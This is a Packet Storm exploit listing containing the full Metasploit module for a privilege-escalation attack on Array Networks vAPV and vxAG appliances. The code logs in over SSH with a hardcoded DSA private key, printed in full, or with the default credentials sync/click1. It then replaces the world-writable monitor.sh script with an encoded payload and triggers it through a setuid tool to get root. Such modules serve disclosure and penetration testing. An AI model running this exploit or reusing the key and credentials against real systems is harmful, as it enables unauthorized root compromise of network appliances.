Array Networks vAPV / vxAG Code Execution

2014-03-20T00:00:00
ID PACKETSTORM:125801
Type packetstorm
Reporter xistence
Modified 2014-03-20T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'net/ssh'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Array Networks vAPV and vxAG Private Key Privelege Escalation Code Execution",  
'Description' => %q{  
This module exploits a default hardcoded private SSH key or default hardcoded  
login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made  
by Array Networks. After logged in as the unprivileged user, it's possible to  
modify the world writable file /ca/bin/monitor.sh with our arbitrary code.  
Execution of the arbitrary code is possible by using the backend tool, running  
setuid, to turn the debug monitoring on. This makes it possible to trigger our  
payload with root privileges.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'xistence <xistence[at]0x90.nl>', # Original discovery and Metasploit module  
],  
'References' =>  
[  
['OSVDB', '104652'],  
['OSVDB', '104653'],  
['OSVDB', '104654'],  
['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html']  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet',  
}  
},  
'Targets' =>  
[  
['vAPV 8.3.2.17 / vxAG 9.2.0.34', {}],  
],  
'Privileged' => true,  
'DisclosureDate' => "Feb 03 2014",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(22),  
OptBool.new('SSHKEY', [ true, 'Use SSH key instead of password', true]),  
OptString.new('USER', [ true, 'vAPV/vxAG SSH user', 'sync']),  
OptString.new('PASS', [ true, 'vAPV/vxAG SSH password', 'click1'])  
], self.class  
)  
  
register_advanced_options(  
[  
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),  
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])  
]  
)  
end  
  
def rhost  
datastore['RHOST']  
end  
  
  
def rport  
datastore['RPORT']  
end  
  
def login_key(user)  
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:SSH PRIVATE KEY'")  
  
key_data = "-----BEGIN DSA PRIVATE KEY-----\n"  
key_data += "MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm\n"  
key_data += "q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM\n"  
key_data += "xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25\n"  
key_data += "Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr\n"  
key_data += "gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq\n"  
key_data += "mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K\n"  
key_data += "O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ\n"  
key_data += "OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb\n"  
key_data += "+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs\n"  
key_data += "+sqSEhA35Le2kC4Y1/A=\n"  
key_data += "-----END DSA PRIVATE KEY-----\n"  
  
opts = {  
#:auth_methods => ['password', 'keyboard-interactive'],  
:auth_methods => ['publickey'],  
:msframework => framework,  
:msfmodule => self,  
:port => rport,  
:disable_agent => true,  
:config => true,  
:key_data => key_data,  
#:password => pass,  
:record_auth_info => true,  
:proxies => datastore['Proxies']  
}  
  
opts  
end  
  
def login_user_pass(user, pass)  
print_status("#{rhost}:#{rport} - Attempt to login with '#{user}:#{pass}'")  
  
opts = {  
:auth_methods => ['password', 'keyboard-interactive'],  
:msframework => framework,  
:msfmodule => self,  
:port => rport,  
:disable_agent => true,  
:config => true,  
:password => pass,  
:record_auth_info => true,  
:proxies => datastore['Proxies']  
}  
  
opts  
end  
  
def build_command  
mon_temp = rand_text_alphanumeric(10)  
cmd = Rex::Text.encode_base64("nohup " + payload.encoded)  
# Turn debug monitoring off, just in case it's turned on  
command = '/ca/bin/backend -c "debug monitor off"`echo -e "\0374"`;'  
# Copy the data from monitor.sh to a random tmp file  
command += "cat /ca/bin/monitor.sh > /tmp/#{mon_temp};"  
# Insert our base64 encoded payload in to the world writable /ca/bin/monitor.sh file  
command += "/usr/bin/perl -MMIME::Base64 -le 'print decode_base64(\"#{cmd}\")' > /ca/bin/monitor.sh;"  
# Turn debug monitoring on, which will start the monitor.sh and thus our payload  
command += '/ca/bin/backend -c "debug monitor on"`echo -e "\0374"`;'  
# Copy monitor.sh data back  
command += "cat /tmp/#{mon_temp} > /ca/bin/monitor.sh"  
  
command  
end  
  
  
#def execute_command(cmd, opts)  
def exploit  
user = datastore['USER']  
pass = datastore['PASS']  
  
if datastore['SSHKEY']  
opts = login_key(user)  
else  
opts = login_user_pass(user, pass)  
end  
  
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']  
  
begin  
ssh = nil  
::Timeout.timeout(datastore['SSH_TIMEOUT']) do  
ssh = Net::SSH.start(rhost, user, opts)  
end  
rescue Rex::ConnectionError, Rex::AddressInUse  
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")  
rescue Net::SSH::Disconnect, ::EOFError  
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")  
rescue ::Timeout::Error  
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")  
rescue Net::SSH::AuthenticationFailed  
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Failed authentication")  
rescue Net::SSH::Exception => e  
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}")  
end  
  
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH session couldn't be established") unless ssh  
  
if datastore['SSHKEY']  
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:SSH PRIVATE KEY'")  
else  
print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")  
end  
  
# Make the SSH connection and execute our commands + payload  
print_status("#{rhost}:#{rport} - Sending and executing payload to gain root privileges!")  
Net::SSH::CommandStream.new(ssh, build_command, true)  
end  
  
end  
`